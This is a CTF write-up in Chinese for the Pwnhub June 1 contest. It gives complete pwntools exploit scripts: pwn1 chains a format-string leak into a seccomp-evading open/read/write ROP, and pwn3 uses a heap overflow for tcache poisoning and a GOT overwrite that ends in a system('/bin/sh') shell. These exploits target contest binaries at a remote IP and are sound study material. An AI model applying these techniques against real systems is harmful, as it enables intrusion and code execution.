Pwnhub六一公开赛

pwn1

选项5里给了一个格式化字符串, 选项6里给了一个栈溢出, 由于防护全开且开了seccomp, 禁用了execve, 所以我们先malloc两个chunk, free前一个然后读, 拿到main_arena+96的地址, 得到libc版本是2.31, 以及libc地址, 然后用格式化字符串leak canary和程序加载地址, 最后通过ROP搞一下orw把flag写在程序bss段并读取(其实这里可以写在libc)

from pwn import *
from pwnlib.ui import pause
import os


DEBUG = False
# DEBUG = True
if DEBUG:
context.log_level = 'debug'
r = process(os.path.dirname(os.path.realpath(__file__)) + '/pwn1')
else:
r = remote('106.75.105.53', 10001)
# leak canary
r.sendlineafter('cxxh:', '1')
r.sendlineafter('summon?\n', '0')
r.sendlineafter('Weight?\n', str(0x420))
r.sendlineafter('slayer.\n', 'AAAA')
r.sendlineafter('weapon?\n', '%7$p%9$p')

r.sendlineafter('cxxh:', '1')
r.sendlineafter('summon?\n', '1')
r.sendlineafter('Weight?\n', str(0x200))
r.sendlineafter('slayer.\n', 'BBBB')
r.sendlineafter('weapon?\n', '/flag')

r.sendlineafter('cxxh:', '1')
r.sendlineafter('summon?\n', '2')
r.sendlineafter('Weight?\n', str(0x420))
r.sendlineafter('slayer.\n', 'CCCC')
r.sendlineafter('weapon?\n', 'xiai')


r.sendlineafter('cxxh:', '3')
r.sendlineafter('wounded?\n', '0')

r.sendlineafter('cxxh:', '5')
# pause()
r.sendlineafter('know?\n', '0')
libc_base = u64(r.recvuntil(',')[:-1].ljust(8, b'\x00')) - 96 - 0x10 - 0x00000000001ebb70
r.recvuntil('weapon0x')
# pause()
canary = int('0x' + r.recv(18).decode('utf-8')[:-2], 16)
program_base = int(r.recvuntil('cx').decode('utf-8')[:-2], 16) - 0x209d
info('canary: ' + hex(canary))
info('libc base: ' + hex(libc_base))
info('proogram base: ' + hex(program_base))

# stack overflow
r.sendlineafter('xh:', '6')
r.sendlineafter('it?\n', '1')

flag_path = program_base + 0x50e0

pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c371

open_fun = libc_base + 0x0000000000110e50
read_fun = libc_base + 0x0000000000111130
write_fun = libc_base + 0x00000000001111d0

ROPChains = b''
ROPChains += p64(pop_rdi) + p64(flag_path)
ROPChains += p64(pop_rsi) + p64(0)
ROPChains += p64(open_fun)

ROPChains += p64(pop_rdi) + p64(3)
ROPChains += p64(pop_rsi) + p64(flag_path)
ROPChains += p64(pop_rdx_r12) + p64(50) + p64(0)
ROPChains += p64(read_fun)

ROPChains += p64(pop_rdi) + p64(1)
ROPChains += p64(pop_rsi) + p64(flag_path)
ROPChains += p64(pop_rdx_r12) + p64(50) + p64(0)
ROPChains += p64(write_fun)

pause()
r.sendlineafter('flowers!!!!\n', b'A'*0x28 + p64(canary) + b'B'*0x08 + ROPChains)
r.interactive()

# flag{59881df6-43f2-45ca-b49c-e21a155da095}

pwn2

看起来好复杂, 鸽了

pwn3

两个字节的堆溢出, 可以改到size, 造成重叠堆块, 之后释放这个大堆块, 修改下一个被释放的tcache堆块的next指针, 进而修改tcache_entry, 伪造堆块在got上来leak

一开始计划劫持freeputs, 然而由于tcache机制, 在malloc后会在把malloc目标地址+8的内存清空, 导致puts的got被清空, 在劫持之前会调用一次puts导致程序崩溃, 所以最后选择劫持strtol函数, 成功leak到了libc地址

然而之后的getshell需要再劫持一次got, 所以一开始应该修改两个tcache链的tcache_entry, 用第一个tcache链leak libc, 用第二个来getshell

由于我们只能在malloc后写入got, 所以第二个需要在leak完libc才能malloc, 这就要求我们保证strtol, malloc, read等函数的正常, 所以最后选择劫持strtol函数为printf函数, 然后利用printf函数可以控制返回值的特点来当成strtol函数使用

from typing import Pattern
from pwn import *
from pwnlib.adb.adb import interactive
from pwnlib.term.term import flush, put
from pwnlib.ui import pause
import os


DEBUG = False
# DEBUG = True
if DEBUG:
context.log_level = 'debug'
r = process(os.path.dirname(os.path.realpath(__file__)) + '/pwn3')
else:
# context.log_level = 'debug'
r = remote('106.75.105.53', 10003)
flush()
def p():
info("PID:" + str(proc.pidof(r)))
pause()

def add(index, size, content):
r.sendlineafter(b'choice?\n', '1')
r.sendlineafter(b'?\n', str(index))
r.sendline(str(size) + '\n')
r.sendlineafter(b'content:\n', content)

def free(index):
r.sendlineafter(b'choice?\n', '2')
r.sendlineafter(b'?\n', str(index))

r.sendlineafter(b'name?\n', 'A' * 8)
strtol_got = 0x404040

# tcache chain 1
add(0, 520, 'a')
add(1, 520, 'b')
add(2, 520, 'c')
add(3, 520, 'd')
free(3)
free(2)
free(0)
add(0, 520, 'd' * 520 + '\x51\x02')
free(1)
add(1, 584, b'\xff' * 520 + p64(0x211) + p64(0x404020))
add(2, 520, 'F')

# tcache chain 2
add(4, 536, 'a')
add(5, 536, 'b')
add(6, 536, 'c')
add(7, 536, 'd')
free(7)
free(6)
free(4)
add(4, 536, 'd' * 536 + '\x51\x02')
free(5)
add(5, 584, b'\xff' * 536 + p64(0x221) + p64(0x404040))
add(6, 536, 'F')

add(3, 520, p64(0x401040) + p64(0x401050) + p64(0x401060) + p64(0x401070) + p64(0x401060) + p64(0x401090))

# get libc
r.sendlineafter('?\n', 'A' * 7)
r.sendline('A'*7)
r.recvuntil('A'*7 + '\n')

IO_2_1_stdout = u64(r.recvuntil('\n')[:-2].ljust(8, b'\x00'))

r.sendlineafter('?\n', 'A' * 23)
r.recvuntil('A'*7 + '\n')
puts = u64(r.recvuntil('\n')[:-2].ljust(8, b'\x00')) - 378

info("_IO_2_1_stdout_: " + hex(IO_2_1_stdout))
info("puts: " + hex((puts)))
libcbase = puts - 0x0875a0
info("libc_base: " + hex(libcbase))
system = libcbase + 0x055410
info("system: " + hex(system))

# add(7, 536, p64(0x401040) + p64(0x401090))
r.send('a') # choice 1
r.send('a'*7) # index = 7
r.send('%512c') # size = 536

r.sendlineafter(b'content:\n', p64(system) + p64(0x401090) + p64(0x4010a0) + p64(0x4010b0))
r.send('a')
r.send('/bin/sh\x00')


r.interactive()
# flag{e40e83f9-c9bc-440f-8f82-78a5ac186962}